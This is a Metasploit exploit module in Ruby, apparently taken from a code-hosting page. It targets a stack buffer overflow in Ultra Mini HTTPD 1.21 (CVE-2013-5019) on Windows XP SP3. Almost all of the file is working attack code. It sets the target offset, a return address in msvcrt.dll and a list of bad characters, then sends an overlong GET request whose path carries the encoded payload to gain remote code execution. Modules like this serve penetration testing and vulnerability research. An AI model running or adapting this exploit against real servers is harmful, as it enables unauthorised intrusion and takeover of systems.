73 lines
1.8 KiB
Ruby
73 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",
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'Description' => %q{
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This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
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allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
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request.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'superkojiman', #Discovery, PoC
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'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '95164'],
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['EDB','26739'],
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['CVE','2013-5019'],
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['BID','61130']
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],
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'Payload' =>
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{
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'Space' => 1623,
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'StackAdjustment' => -3500,
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'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "thread"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'v1.21 - Windows XP SP3',
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{
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'Offset' => 5412,
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'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jul 10 2013',
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'DefaultTarget' => 0
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))
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end
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def exploit
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buf = rand_text(target['Offset'])
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buf << [target.ret].pack("V*")
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buf << payload.encoded
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print_status("Sending buffer...")
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send_request_cgi({
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'method' => 'GET',
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'uri' => "/#{buf}"
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})
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end
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end
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